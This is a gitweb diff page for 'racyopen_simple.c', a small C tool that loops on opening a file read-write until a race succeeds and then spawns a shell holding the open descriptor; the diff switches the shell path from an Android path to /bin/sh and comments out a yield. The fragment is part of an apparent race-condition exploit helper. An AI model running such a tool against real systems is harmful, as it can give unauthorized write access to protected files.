projects
/
tools.git
/ blobdiff
commit
grep
author
committer
pickaxe
?
search:
re
summary
|
shortlog
|
log
|
commit
|
commitdiff
|
tree
raw
|
inline
| side by side
commit old stuff
[tools.git]
/
tools
/
racyopen_simple.c
diff --git
a/tools/racyopen_simple.c
b/tools/racyopen_simple.c
index
e4d5c06
..
b70520a
100644
(file)
--- a/
tools/racyopen_simple.c
+++ b/
tools/racyopen_simple.c
@@
-14,11
+14,11
@@
int main(int argc, char *argv[]) {
while (1) {
int fd = open(argv[2], O_RDWR);
if (fd == -1) {
while (1) {
int fd = open(argv[2], O_RDWR);
if (fd == -1) {
- sched_yield();
+
//
sched_yield();
continue;
}
printf("Success! Here's your shell with open fd.\n");
continue;
}
printf("Success! Here's your shell with open fd.\n");
- execl("/
system/
bin/sh", "sh", NULL);
+ execl("/bin/sh", "sh", NULL);
printf("\nshell exited, resuming race\n");
}
}
printf("\nshell exited, resuming race\n");
}
}